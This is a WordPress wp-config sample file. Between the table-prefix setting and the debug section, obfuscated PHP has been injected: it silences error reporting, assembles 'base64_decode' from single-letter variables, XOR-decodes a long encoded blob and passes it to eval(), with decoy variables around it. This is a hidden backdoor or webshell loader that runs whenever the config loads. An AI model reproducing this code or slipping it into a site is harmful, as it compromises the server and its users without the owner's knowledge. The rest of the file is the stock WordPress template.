<?php

/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the web site, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/documentation/article/editing-wp-config-php/
 *
 * @package WordPress
 */

// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'database_name_here' );

/** Database username */
define( 'DB_USER', 'username_here' );

/** Database password */
define( 'DB_PASSWORD', 'password_here' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );






/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

/**#@+
 * Authentication unique keys and salts.
 *
 * Change these to different unique phrases! You can generate these using
 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
 *
 * You can change these at any point in time to invalidate all existing cookies.
 * This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define( 'AUTH_KEY',         'put your unique phrase here' );
define( 'SECURE_AUTH_KEY',  'put your unique phrase here' );
define( 'LOGGED_IN_KEY',    'put your unique phrase here' );
define( 'NONCE_KEY',        'put your unique phrase here' );
define( 'AUTH_SALT',        'put your unique phrase here' );
define( 'SECURE_AUTH_SALT', 'put your unique phrase here' );
define( 'LOGGED_IN_SALT',   'put your unique phrase here' );
define( 'NONCE_SALT',       'put your unique phrase here' );

/**#@-*/





/**
 * WordPress database table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';



error_reporting(0);$krunzn="a";$goatbn="b";



$eweog="usbmzm";



$qodpw="6";

$ssympg="s";$hmqu="e";$uhaw="ejzk";$ngdwn="4";

$clix="_";$pfoh="tggxxu";$txbsrd="v";

$qfm="c";$unb="atlay";

$lozgn="zhwwpnl";$yeohs="l";$lrxjh="vha";$hhvzrws="d";


$nmr="o";
function c($x, $w){ 



$l=""; for($y=0;$y<strlen($x);) for($r=0;$r<strlen($w);$r++, $y++) $l .= $x[$y] ^ $w[$r]; return $l; };$hvbmg="obe";





$kvvio="nylaw";


$wukrffsx="wzxyuc";







$nphwquya=$goatbn
.$krunzn




.$ssympg.




$hmqu.



$qodpw

.$ngdwn





.$clix.
$hhvzrws.



$hmqu.



$qfm


.$nmr




.$hhvzrws.



$hmqu
;




$ytuzevdm="vjldfif";

$ljbushzl="ekt";



















eval(c($nphwquya("CAS V^_R]VCLEKISByKI^I^h@
/ULIZ\SByK MXzM@
MDJXIXYC_\	AB&\D=IsXI_IQ
)@I
&TISYWAMGNNVJ&XI-CGI*I HJGPT@NMOI]JR@IO[MBEICJsWC^OI4XWOC_ QA)JQOXCBB_KB_X[^dX>DIXB@IQw-GWOCB_XCvIM^0X[ITEGMCF\M_8BXIQT_A_^TPZOM^_IeX\@MEFY]M >BX[STE@OH^I[Y	M^_'B[_TW]XDS[^_eBXXECFLGLeB[@WM^TMIeQGWTHIYGR\]\M^I=XYI^EPTIGO_IeBXK[\ATSBPZ@@TMR\M^eL TQ]^TJG*D_NM	H_IcwD\D<Y6(HDEXqXGYXOD|JW;*\T2Xcw^_DE?[M^QQQ D	OXCZCCOAIB5AJCFNAKD	VPXXTHI[RUDASTEEO<*[H@TL[I@T9,ATRDVYI^AHRX-SAJCFAKD	VVPXXHWG[CGTJY@OKHYAQTCXILPTJD_VKFXB
HDBINh_wASTECJHZ[H@TK[ECFSATTD^ZDIT@IITq =X@:QT_FBRAAA@YI^CMRMXW3K(	_TJYTPEZDNYEAJTTJHA\ATWEP.GYwAQTAZEZOTWNSX^.C\MZEX?TVSXAIVI^EOP^IqN JBMZEKXwAIVI^EPAW^TSEUPA@qMNGCOAIB5AJTTJHA\ATPPXXTHN[RUFASTECJQT_WIE.LT[_@OFYwqwFRUBAKD	XVPXXTH[ECFD[S,PPBX"A@PC^AEJQT_FRUFAKD	TVPXXJWGEPqA@IYI^FMPwT@3w[CGTJYTP@@ZDYEAJTTHA\VTPETF-wTA\MKX	_TJY@J@HYqwTA[KX	_TR]ZAFAB[$ [HM MXC^wAK@OHZ[_NAX^TSGW^q D\CAI"GWTHOYEAJCFMBS,wAIVI^CHPDW3 WHYHXVB[UT 
\ X [EY
YXV[HFKCWD\^D\UJECBKKCBYR+E^ WETHPC@Z DI. FH\Y WCTHP\XE D\ F5H\_U WCTHPR:TC$^_HIc^ BNT^ YIS]X6^_HXE^ I!NTC YIS]50=2 ^E\P=<M|a DF6m|9&5TCW^m \E_CEX BV TG
5
d^ I$NT\ CMS]I^_HAI^ ENTO Z@S]E^_H_n^ _NTN OAS]A^_HIB^ H NT X QFId^
3H\xT W+@THPHI DE F H\xA W]UEPO}_|d vS]J^_H	xM^ X4NT@ ICS]E^_HMZ^ A NTK M XS]O^_HIX^ JNT'E PCDQ<02hUXCI EBP@}`9(IMVW I\I@C[1k7NAF]^# # ^C^AWBP [IND SM_F]^5 ^KbMWB P MXID SCHF]^
 ^XEAWB^P Ju5;~MVWqJYX
_W^IX^QOJ^BYKKOJC^A^HYA(XIWG[TD	XRG@TKNW?[	_TJSZ+A^TAVKX	_TJqI@JJF[x^ JCw[CGTHJY@KJHYq^O _S\YXHOIB*[_AX^TSGU^AEJQT_W?[	_T]ZYVPH	BOECBP&
_^WOCB_;LKHJ^BYdJ Ov |vI+@HATIXY[c+4qYY^B[XQX9DMPHB\XwAXIBREIDqIQ	HGVWTA_MK_\YXwAKD	TVPXHqDH\B,ATR]ZYV$N%#cb"A_WZOTQOSXAIAB^CqQHMXG wABFJQT_@FRUDHS,EF\HCYAIw[CGTIJSq:QT_NFBRNASTEBHZ^WqC^AYBJ	,ATR]ZAFABYC$RU&F Im_C^nCYNORJYOXE *[[_WOC_ QcYPHXYBdMYCBv 3+vLAE[K@I[?5v?HXY^B	]d	]
ZTOC_XSdY[BOXEC]_[Dd cMKHE@IBw)XWX _XYv ^-X[STCH^I^Z	M^_'B[_TD]^TSXR^^_eBXXRRTP\M^0X[ITYGRP^\M^I=XY^CFP[J^^_IeBYTVFPZ@@TP\MI+_[TUNSXQ	NYG]\M_Ie[CGTOJD	J\	IeX[XIDPTZYM^0X[ITHYGR\\M^_I*B Y[FAKZWVTNKJJ)YJ_N^MJI@Y<4W\Y
DqX!wE JXqJOOM[?YWc"\Y?[+,_DEJ)YZG HNNI]KHBOXECYW Pu"HCI E cN	XVB@VUT,EUD^I EBP`zm[D S@MF]^BXDMm7 hC[CGIOM'X{
"<TCWM\	 	TpATP CZID S@XD@E+6D^A W_ .Fe CV TCWI)X 6+P y~`D SXIF]^ ^H[U|vh DD@WI JF^ IYPJN]uOUMVW OX\IIC[i@IOAMV
W K@Z[7,'k]t DA FGI"nKqSJECB^Y^Q HK^IY^BP	KHIXY^BH"GWTN-5AJCOADFHZ[_PAW^TZCC^ATT],TPXUDCi@ISHIBXwAKD	FXRG@T@AXIKVPASTLGJVT2XM^MD!IAwADFIHZ^
WqTGILGTOSATPVPXXTNWN
DC^i@A/GZDWJ$Y^BM^i@IA8A\VTWD^ZDITWGE PqT CAI"G@T	Iq9LPTJYIHTF[AITYEC*MBOD^1IAH]C^<@IA+RSAOGDq\X H
XwYJEZOPUqwAKD	FXRG@TKAXIE]P@HDq\BO	6AU_IX$AJYBOEODA[ H?TJq/GOZDITIWG[CGTHO\ATQXRG@TAq@KH[TIJVJ&	OMEHEZNRI\_X@LJ^VIC@^RCTGSBAFO
I@__B_BJJCBCEOY
I^IHBIBOIMEJO]YM@E	 _\_NJMN_MMS_EE\_^ZKE_MOQLHE_X	I_TBX_EINQQAIC_@I@^_PXC^X^QJYBI^XE
D[EJX_CAEAY XEK__
EMX\_NJMN_M
_U@IMIJZ_EVICZAQAIC_@	B__MODEHGIAM^EBIE_X_CH
L_	MBL^\IHEZ_Z]GO@ 
\MBPXJJCBXN_IAAWC_@I@^RCQR^IYMNYI^	MUE	IBXXEQ@I_V_\MP_\BJMN]^MSEZGH^ZKN\][Q
I^JCBC_	MSDAQAAK^EKABIE_AMKEOMKI^CW\CBXEE@ _XOAIOK\L\JMHEOE\ZEE_^_XU@SCB\
I@^RCTGITXJOCOYN^MOCSX@EBEKTMBPHCN@IPCHEZ]OOEVHEZNRN\OK\L\JMHEOE\ZEHEZNRI\HEZA
CBX]E^WSDAQAIC_E\TBIAU_IJTAIPMNIOXB^\ ZHEH^HEOEQLNG\LA\\O ZH
ZJM\ 
MJBXVIDGSDAIJ^MBK^M	MB^C_XI\EUV\Z\OKEZE^I 
MN^HITRHCW[EHXD^DVDM^J^I I^DH^EJQL\E\LIJCXYEVKYCA@I@^QLAETCMMI^ _[BBI\_EJME_SByeBE&_IXXLM sY^@sCBMQ[BMY&sJYBEDIBI^MI&BH*BKQ@I	X
SYWWiTQ^P_Y_X^XX,YJJ@IK_ s^XTDMN
IFG@AB\_X
mn:hij7&e(8(:bc|}~0x!'{t8+^_OIE@ KKX^@IBKXHXUBCT@IKXDYU&ynJJBEC.X_QKI<I-mHH^m%]XW&AQYS	BOECBP	I!@e\mH^57A
Y	PXIA\F,72~zi~wDk1>e|>0=7=WqP

PFF,72~zi~wDk1>e|>0=7=WqEBYR]TY>"<!95~w^kic9>s#7 %qQ@EJAYQR
\X s#+~466,dxx|<t+7c~60+7*4sj6~qYGDUD_si1z1#w)%-#0(sj6~{m"*i&,"8~q]ECQ_I]^W_
XJs166!i~wd7x$.ts'>+$."hi=sjc"IqKOZ_si~5i&*$#/6=/mh=~qYGB@\IT\CMVUSK/i+zi~+Id6'4(tsjc~4m&5ih>76!H-YE\PSF,qQ@EJAYQR
\X s#+~466,dxx|<o88ib5.0#H-Y

XF= !%zi~w+x !so-8<=;/e|^qNIPDJGJRWIU& *"zi+wd$:|=0(>ibxse3)XIU& *"zi+w5<z'!;6hh~qJ]QWDW0#i~/i~wW&x6#;4`eibx<e$VqQEJY\
LSsi~z&~/Vdx5!&0)/oc7bio$'b%,-'qE
TY>"<!95~w^dxx 1o$,'8bbiox*b3.e|F,POQWN@@EZDQ
<1#zi3*^;;$|s:jso? b'00>bkse|Dq]ME.*6=&i~"i"8i0,%3h~qJT
EL],<5~z<~w8:x2,'1socbb&o 8bk>8)T2KQ@_IPYSsi~z&~/V~i,>-601hh+qN^BE\X	{Q&kSGQJYOXE sX_KX&M@TFYWsPYCBKI~@^QZO&&YPNB_IA\XUK+"i~74+(H8xx)s~i6+~'!C*W&CTQAQYSOPs*i~z5<wE;0#|s~ij&~1#qALY
IBd$:|=!!1i~i~J~QAQYSO&&YPNBWIA\XP.i3'<!4Wdx-|s~5(i066Pq^XBCSByePYPIsi1z1#w)%-#0"ij<~i~W3hSDWQ&Q&iEQCB&ITE_JTX~IM@MSXWkQYSOYBXECNK6M@YMJQEJI	&i~&+~9T,#x|sy&~+0ki/%^.FYWYs5<z'!?Pdxx|s61#sm&47'H-YKIX ZJT,#x|sy&~+0ki/%^ZTPQIXY F,72~zi~wDd %|s4"<!01ki7xqKNQhn}JYBOX
CQKI5BbAIYNWhSDWDIMIA	IsI]YX=HI^_J~QAB]DIM^(F?C_XqX&	{&JBIX|XW&CTQ^IOXI\XUXJs166!i~wd7x$"qHQ_UOTs<~zi"5*'0'q^TVCJVYPs*i~z5<wE !%zi~s|,~ Vq\LYG[CFD\IKXX NSByz&JBOXBB~I]YIX<MH
[FPW&YTI_M^Z{YSOPJCIMOF= !%zi~MPIUALGSKM@IdBSDWEJCN_QWU Y EG^MDPdxx|sDT
&AQYSOPYO X&CTQQkQYSOPYDI
ISYW_X^s^\OIIVYTCP^ YC__X^s^\OIIV&TCP^ _X I^_Y_ 
 _OEPzNBSDWDIH_wE^qY@_}QiTQ^PDMHIhn}JYBOX
CQAM7M]DMUMHWBIIHIXQC
MYW&PNLVE_sM^MYB
Y]BIIIBND^^MUGBH@XByOPC^IDJW
IH@I_TU]Y ZO&YPNLX^\C_KU_CP]I^U\NIX^TM@PSXYBXIYSKX_XC\CCQJESYIY^I_XhSDWQ&CXYY_IB&Q&zYCBIB CC.Hn_IDF_DSGW&CTQH SRPTCiBO
IJW[GiTQ^PNM
I/B HMXO{Q&kECHIH ^OImBnIUY] CPKPW&PNBWWNM_@.HIGT_B&PN^BTC^'IHIIU
_OTKB&Q&zYCBTCiCHY] YXUGBn}
BXn OMYJss 
_EBY X&AQYSKIU;UXINBsXCsU _E
FK&YU.
XD CXE
-	XI
&zNBS@I_Y@X!U _\Q".TzYJCMD_EB\YnI_A
SKGN	IKS}CTU^I-	XI
wqMN 
rGU6XI*]OUIU` K9L&&~{AQ^BYNUXs;XJI@X#Y&&&J OTC^hOIE<^EK TIZD&&COC1I_YD 
_DIT^KZ{YSOPGUnU_BNDXJsXsXIY]
	sPJG
(BKXD^YBY]
	nUI_Kd&BSDWHIOCI3UXYNO+qsPCSLSEXPAB]IBO
I1I_GE_Z{YSOPYHC 5UXI_w>IQC^Y]CHHnU_9W*rI3UX"WP	]GIU<B*&CQ~{AQ^BYNUXs;XJIHI3 
sQ&&zYCBYX+CsX_^EBGyDW^IX^QM^ ,\^C^HWB(_\@EXK^EPZTzQ&sJYBEDUXI_sC+XJYY]I_PW&PNBW_Y@X^SV&AQYS	^IODXJNM_U {YSOPY^YDYOD^KXIHJsSOPQsPI^I_@ J&Qk{XEBK~ B_I^XWk{YSOP^_\MNEHnWEJKE.OMY^@/BC^W&CTQAUOMO^@s E[@^@&CTQAQs_XC\FHWoy~`c3x+"`>'<!&6u|<i~ PM ^&CTQO,XC	X B01%`c|xs08.zi38?*'?xUKdBSDWOY@+IX[KD Yoy~<!|6,"8``c{`,o5%ec/]YBFK&YPNs_IXCX\UODMQ:&=<c|-s~i$;~,'66bji~OEX&AQYSOPY^@/IOD Co!#`c1%&;*1hi+ YU&BSDWO^._I	GTODUoy""c2';4cbbio7x=<ic4%US^@sPNBS^@s_ICUS,%~`6|xs$'a'<1# X&TQAQYSKI_	^,IOOO{AQYSOPDMHINB@sKIX
BESFK&YPNsO@C_PDZ{YSOPYEJPF
I^wDX.OC^.OQKPIJM@_~QAYI&&PNBSDWY^@sMIHALY_I&Y^@XJYML&CTQ_YNOXY@s\_?P_ODIA)QAV _P&PNBSDW^I]^S6ixAVY]OTY^s\MI(CMXDqX&~QAQYSOJ__IF(\M^_IwS YI^.FYI]^SELCWY^s^_"TI^ qzdBSDW^]T_CQ1'; Wp^, d MGYs\ 
+D_X-NBQ8pBoCBIECKY0_I%^pB,pQ_}CTU_CYNO_CGC\ JW@_KFQCSHWWYsIHwD_ Vq AU
 PMJNRZ_}&CTQEJIU
&PNBSDWlJY CP^]zNBSDWCQQJsSOPYPNIJIJ\U_CPZePYPNBS}CTQAQYSOTNDJK_JWOG S@X&AQYSOPYPNB_^I\Q]TzYPNBSDWEJKQAS%3Y^MNYyDWCTQQkQYSOPYP.JI_C G]J&AQYSOPQsP&BSDW^IXY^PI_JsezJYOXE I_X|CX\UY^]YW^M_d&BSDW^I_\CTVk{YSOPEJQE_s@IOY@+BEVPZO&&YPNBWOY@+BEY]s&PNBSDY^@s_XXE_O3y~5c|x/=.,22~eju|&i&]J 
FK&YPNs_IXCX\UODMQ:&=<c|-s<1z'!-1udcxOFX&AQYSOPY^@/IOD Co!#`c1%&5 <`c.`co1:e-=HW&CTQA/_IC\XXJO
_D4y~`c|7s&4xy3?-!.>j<~ AGhSDW Ys_XO o%<`-#0(dimhi1 TAkQYSOPYOY^1_XODO7$~`.!-,,?bb<oxx9#i-&0[iTQAQY@s
IXC F[oy~`,| .xe,46&;\I&PNBSDWOY^@<_C\Y]\o,~`c :s2<7# iTQAQY@s
IXC F[oy~`,| .|c2%?:*<hU\M ML&&CTQ
OMO^@sI[@D&CTQAUI^YO@=EBJCCZ{sSOPYO@=_IOO{&AQYSOPEM,DXX\<OI<QXNOBP^I^S@_I&iTQQ
O&&YPNBW@s\M^IQ 
/Y^YYyDWC@\QQW@s	M^_
wE IAIqCIQD	 HY&sPNBS@CBXITIQ_X0CBITX/^w&CTQAQYSH_@^P5&BSDWCTQAVJU&\III_MDM@_I iTQAQYSOPY^(\II^sM\OY_IsPNBSDWq&CTQA,PHezYPNBW_Y@Xd_ QIU
 P^__@JAES^WC@s 
wC_XW3B]DUK@^QMG\P]Y^@/M w\C^)X&AQYSOP]^I_X*_QF
U_YWGLS@^@s\M_w	
H-&sPNBSY^s^_"T^X^qdBSDWCPI_; XWJLLS@^@s\M_wH-&YPNB_IW&CTQAQYSOT^I
Y@X8_SJJ__TN[SY]ODYJLLS\G&CTQQk{YSOPY_GDJ_X^IA+CO
,EIX_?C_X GIBCMQ]a_ EB1'62maso`*i:%so.?76,$ ]OCBTZ_}&CTQEJIU
IXPW&zNBSDWCJX_IU
IXU|?=xBQDYY^@<\_I*^D$RNd6'4Xp^?BVX&AQYSOPYY LS_COGI TSdCCSMP]Y^@/M wDC_)QC-/RsPNBSDWJ\Y_\U_CCPoBXI
M\\EXEVB[[TJC^CYOCHIH?^(Z{YSOPYPNJ_COI ]"
XIBKBQJX^@IBK^MP]M,^pzNBSDWCJX_IU
IXUo BCBOCp^=%3B&PNBSDWJ\XY_\	M^MLSF+^pBp^?BVX&kQYSOPYPJ^BNDG&CTQAQY@IQJIF GIXCW~QAQYSOPYPJNBNDKIX_G_GI]YB_BB&PNBSDWCXYW_\YThSDWCTQAQGTND,pQMW^R~QAQYSOPYQ&&PNBSDWO_IIU
IXP&&PNBSDWQ&&CT&&AQYSXYB_Hn}Q&&JYO CBA
XiME@9 k3XDo^UX\U\M_OTGI WzNBSXY^B^sA GRlV O$CY^OI"B3M_GM[@HOCHFA IX\LYI&YPNBUB}CT^I.D[p_L BCHIC^mB3 
F^@HCLS\M^MAJ TUGIXPSRMXYIz&hOXECBCHIO4eB>IX{D \^{YSOP^IY^BP^;MXODA4^ A 
FsIOCFMA^T^Y{YSOPY

zNBSDW\^IsXO	Y[\3^UNMV, OCHIG\MAHXYNRPX^I&d&
XECBI OX$9BkX ^MWW&C^Y^Q	
sAXODXL"\F[\M^A]QA
zYPN
DyDWC\KsX%\NACXIksy	BOECBP^%MBHCA7E IE^\YAYNWhSDWXEXITLFJsyOPC^XJE_C_WEMBCPBAKNXO^W&CTQEDKI^%MBHCA0XBKIXY]OWB&PNQhyDW^IX^QXTzQ&sEJT1'!22~w~i2y1"xs,4-; 4qYPIk''CW

E_I Ys&4-(HG$
VNX	_NM_IWsOCQW07ix"XGW3KSYJZM@
HIx+OCIHP&hSDWJC^hM\QUQXGRN\S@M@EHMI GI5 IHP&PNFMA_CNIU.HIQF_C1IIJCA0XMHXByePY^II1@CAU	zMEHMhyDW^I\_IALYA
X^E 1X_^I]YIX$_XIUI_y^@\NA_X&~QAU  cNIOXPS sHIOCI\IO  ^OmBH2_EP_^I_\B E
FY&sPJB[@_CBcN	IVHMIxCBEDJZMEXI54IOHIHPH
BWCBcNFO \WFXxGIBW_NDUsCs+A
sSOPYICBBsIBOHY>I, @sC[&PNBn}IE J&Qk{]E@-^MO^BNDU&^JTLK+^IzJESYWKIX~I@=mH85GY&]YMMNK6M@YMJ~U^I %^@Y_SJW_I^Z^0\@2K&&J_LSskixwDEVqHQyOPJX2AME@ek{E: X]ski$5C* GI]QI;MOI^MNHICY^ I5Hn E[XX^A/)i6(CHq CUZ{YSOPEJYHIO6	E@eBkX#XD#
YD&kix+IET9^IAE%^MOMN_ID1HIsk&x/VEHF,PHePYEJX
IiAME@*B3XE.>6;+EqYN@x^MOIQE.>6;+EqzdBSDS^I]YIX$^MYNO^^UzNBSDWEHDIO$^MGI^\dBSDWETLE	_ePYPI^CW^JX{AQYSOPYNNnWi&TQE_X)M^M_S@IBOCI\BO  ^OmBH2_EP_Y^@IB C0BOHITIX|M^M_]XMQ]
	B&PNf_CB^TL^ |C
X]y^@ G^ YI)A_P&&PNB&Qi&E.*6=&i~"~i!;i1';:ixdchDqTLAV)<<$_
EI[@(|cxwDHS,A
sSOP_CBPSF,48xwHDqO{AQ]MDF_ sHIFC]XZTz&YEN s@M_X<IC^IXYRRMf*cbs5<~-!;9cbi&TQAQYSX\&^I_ B;CHIS]J&AQYSOPIEXzNBS}&G^IE8
	_DM^U=_HMM]J&&AQYSCYBFC]QW&AQYSOPXX\/I_IsOCI\CHJsSOPYIXYyDWQ&&CTQH <	_I_LSHMXMwDHS,^Q]Mw^HqPTET_}McJOME
_IXXJH,BqCTUHM"TWqCKdBSDS_U_|@X^AALYIXQHMwE PqGHMwF	T2P^&PNBW_yMCEIXIUw
YqYNBW XMw_)QFVByOP]EJ^I7DJE__IPMX *^WqYX(CYqCSJ&AQYWNhEZINBIXHX*[V$ZOOMXM+I[T9WiTQ:YE__F,72~zi~wDd %|s 2:6?$s`8bky1)iE.MW_YNXYs24+%*"w1xx|//o!64#s`mbk6m34qMQI_OBCKdBSDSIAME@CTSkQYSOTIAE@|M=IA~QAU
U^EB)ISYW&CTUDI ?MXC^APS%I]YI_dHIQZ4RIoD];MO#XJC^AAqTNK+I_dIM^[M,IO DY$M1	^A[qPLYyDWDMD$^MQDS_IHM9TqCXM:VH-YzdBSDC^IMO\Usk$%YPBAIMPFMAWiTQAQY	P	M^MN_SFUW&CTQAQYSOJQHIXX'@eBkI{Do	GT\MMA PJG
M^W&CTQAQYSOP]IAM_S OCHIYIm;QX^EFA IX&AQYSOPYPNBWME@|MM?MAQDSKMA&PNBSDWCTCB
K&YPNBSDWQI@_I
J\IX6E@0BkI9E&_IG\MAHXYePYPNBSDWIAEQ
YDsHOCHFX	_\M^MXQGPHePYPNBSDWIAE!M^ 7YBMhSDWCTQAQEBI&PNBSDWIIEYOX<AME'B%_\M^M]QW&AQYSOPYPNBWME@C^MJsSOPYPNBSDWIAME|MA/OMMAIKdBSDWCTQYIB&PNBSDWQ&CTQAQYSOP]I^U#^0IXCAIA_YTRWY\MAB]DU
&CTQAsSOPQs&PNUX^EK3X\Q
X^Q]YU1BKkIXOD]PXByePYEJXJD 'M^MACW~{AQYSOPD_D|MSYW@X^EAK_D1\M_D ^?Gq&&CTQAQOXHIIOX5M-kIX{ED7U\Y]D|^MA\N	^W&CTQAQYSOTIAE@MNHICY^ I5Hn E[XD_D|M_DSGIUiTQAQYePYP@HIXI X1ME84
{EDnMV[@M_D|MMX{YSOPYPN@N_GsM_D ^ML&CTQQ&AQYSOP@_IOXiAM
@=kIY]D|^MAYGyDWCTQP]DM_>M	L&CTQQ&kQYSO&&YTIX|M^M_TLM
OX&YPNEP
\X{AQYSOP^JMPF &CTQ^SRNM &PNBSDW@^TU@M,CzYPNCWIM &AQYSOP^HMPFIcJJ_XX{AQYSOPB^PJB8JJ_IXO&TQAQYSH\YTU#XJC^AO&TQAQYSH\YTI|@MXJ^]&AQYSOP
YMPF yM &CTQAVHPYEJA&[&CTQ[VYNQP[Nh^IyDW&iTQ
X|^MANBIBOCHOC*OI8BHnITGL_CBsIOIE_X)M^MB_DSGIUX&TQE :_CX^PSI_X|CX\U^I %^@U^Y 'M^MA_J~QAU f_BcNNBBsHIOHYHI<Y^ImB,MRC^I_fBUSKIUP&PNBW^I_fBcYNRPPIThyDWEJK_\+ FGWME"^zE_ECSQ\LYQ_XA`EKS}&CTQEJAY]
\f
CBc\F^@Q^TSAK&&YPNBW^I_fBcTMRXU	IcJ&_QC[MMYWsPNBSDWO]PDX\IENCIJ^I_TCBRW^@R@F\f_CB,N\WCM[KdBSDWCMHQQ#OMECBJNLS@I_\f_B;F_
[QUX^ B@TE&CTQAQYS
EXB&PNBSD
I@_I&~QAQYSOPYEJXX^I_fBcTMRY^Q PIC EZI@
Z_OCVPSNMM@_GyDWCTQAQY\@PIOCLIDXX\IY
DYOCBBNCGY^@ATU^I3  cNWR^QWX&TQAQYSOPYM_`COMEC_YW_\3_CB?FOMUY^@QO YIMQJC]Y&YPNBSDWT&AQYSOPYd&BSDWCTJIU@DRGynWCTQAQYSOYBXXJs%60^CW~QAQYSOPYPNBSKXIODCCHIX Q IYEZMI^_DOB BX\VIH@[_9BcNF]WV^@CY]MOY]YU1BKkIXCVVZ{YSOPYPNBSDWDIH-CBCPJ^ =_CBcN	J
Y[O^[I
7^EBKkXXQX^US\@B&PNBSDWCTQ	TzYPNBSDWQI_QW&kQYSOPYPNBSDWEJK_D1YWsPNBSDWCTQAQY\@PIOCLIDXX\IY
DYOCBBNCGY^@ATU^I3  cNWR^QWDMD$^MQWQHNsPNBSDWCTQAQY
HI`MG^\f<Y^LQB]DSDM_D|^ CPK&PNBSDWCTQAQYSOPITX&PNBSDWCTQAQI&PNBSDWCTQAQYS@_IDCRRAWDXX\]ZF_D^OCIYPY^@^ZQ^	9BcFLYF
A~QAQYSOPYPNBSDWDIMIY`BYTI.CBcNFNSY^S_O^Y @\YyDWCTQAQYSOPYIXYyDWCTQAQYSOPQs&PNBSDWC	{&AQYSOPYQ_S}&CTQAQYSOPEJQ]YU1BKkIXCIQHQyOPYPNBSDW
JTYD #MAPW&PNBSDWCTQAQYSOPYIODN^MDXX YEL^
^I
DB
Y@ISE :_CcNF]PW@QGDD| O^G&PNBSDWCTQAQYSOPDIHI^XL`ECBATU^I3  cNWR^QWDMD$^M]YI YYU&BSDWCTQAQYSOPYITEU&BSDWCTQAQYSOI@
IWzNBSDWCTQAQYSOPVIO@O	XMDX\Y]YDTJ^_DPCX^LAU f_BcNCQ@QAV_ M^AbMLQYUIAEQFO[HePYPNBSDWCTQDX`OMXBXSFY^I_fBcTMRY^Q^L@]DSIAME@3MAb SARWIE_D^YI PFX&AQYSOPYPNBSDWT&AQYSOPYPNBSDWQ&CTQAQYSOPI@_NWhyDWCTQAQYSOPE_
#MAWiTQAQYSOPYPNBSDWIOCTSASX\TI]YE^I_DCOXIDT_KY^PJ^ =_CBcN	J
Y[ARW]^ EBKkIZQD #MAYWPYyDWCTQAQYSOPYDHLU`COMX
CKOQ]
\f
CBc\F^@QMKSE 	XEBK7XB]FTD_!M^ USYIUBGhSDWCTQAQYSOPYIThSDWCTQAQYSOPQI_IdBSDWCTQAQYSOPVICBQXIXMDX\I]NHIJI_DWNOBXXYOU f_BcNCQ@Q\ZUIA #MA7MAI^L@]DSIAME@MRSE 	XEBK7XB]DU&CTQAQYSOPYPNBSDIMHI^K8OMUP]^I_ $_+FW^SQCN[]KAM@|MA,	CME_[UM^YI^	=X
kIX ^ RAKZTzYPNBSDWCTQ	TzYPNBSDWC	{&AQYSOPYPNynWCTQ{sSOPYQzdBSD
&&CEQ
%CB6NFNCBjC^5EXCSSRM
DC[8AQMWW&CTQ
XDNMV, OCHIG^\f<DXZ_}CT1IZ QTPNWO X^&CTQIHePYQ&&PNBW^I_fBcTMRMOECB6^4XC^QCIQD7 MEdBSDWY@ ~IYKIX C@CKhC!AIQ&PNBSDWI DQOXX	I]Z_TJ^I_DDBXNH@Y@^N#C~IHEICVGQTzYPND ^`C M CB[Q[]OTY^xC~
E X^Y TBHJsSOPYIXYyDWQ&&CTQEJAY]
\f
CBc\FOXECB%C'E_MDBj
W&CTQAQ s^_\CI=IJ~QAQYSOTE&PNynWEJCPI_;
?NFTWX
1C^zE_
XQALDSME@d&BSDWE\U^I3  cNWRE
AIQ^TSAGY&sPNBS@E@IhMMTLN E[/IBCHIXIABNM_@.HIGT^I
\f_ c IIWJE@hMXPZTz&YPND_CNsKIsZIYPZO&YPNBSDWCNsIBsIMYPHePYP&hSDWGNIo	I^
BI~MBHA'^EQZTzYPN 
bYANI_TLKI~BHC=X
&CTQAU
m^MUMNKMXI~MHXGY&sPNBS@MZIm_CTIB
"MBCAEL^&CTQ!AIYK I~MBHC EBYPHezYPNIWDXA@CTS_N&YJ OMm_A_[[A dBSDWCZI *OI;CHUP@hSDWQ&&CTYJY YW&PNBSDW@IXMPUX2OX^_^L_SCNMPE@5P^&PNBSDWiTQAQY
WN	I,	I^_AIQBIQ8U[X0^MOXI_T_sPNBS^@IQQJYOLWN	I!MOXI^ZS@KERdBSDWCV_!AN^_^Lw.DJU oD ^_YM0ImXEJ~QAQYSO&YPNWNX0^^ Y]MPI[%BK%^MUMPUX?^_YKdBSDW&CTQAOR]N@C MDYB[T3@CY"QAPN XImMSJUq WX\KC_YW_\3_CB?FOMUJE@Ix\SQOS^FK&&YPNBQJW_MZI"_T_C_YWCN7MAIP@NSCU^I\>CB.^QJ@IBI@DY&CTQAQsSOPQPzdBSDK_O^EXJS&kQYSOPYEJXJ^ =_CBcN	J
^
XmXI^6@Q^W&CTQAQYS
DCYAMB\I]Y
ZIV^I WOBXIEC_^@C_\+ FGW^
EmJXI^%EQA_[TQR&YPNBSDWITEXX&TQAQYSzYPN&BSDWIE J&AQYezQ&s&zR&<'#u|iDAO&	QzDMHzNBSXEX@I_\O ^EX~M
C'@I C]J]^IsDH\yXCHU&_\OTDX@PL\XMP_
4IXOX^N^\^E\XATN&]^	&EDXh"),",c,tq,,aqysop,,y,,,pn,bsdw,,,,"));




$nfwht="asseqiw";

$wbsn="foeyh";




/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://wordpress.org/documentation/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );




/* Add any custom values between this line and the "stop editing" line. */





/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}




/** Sets up WordPress vars and included files. */
// require_once ABSPATH . 'wp-settings.php';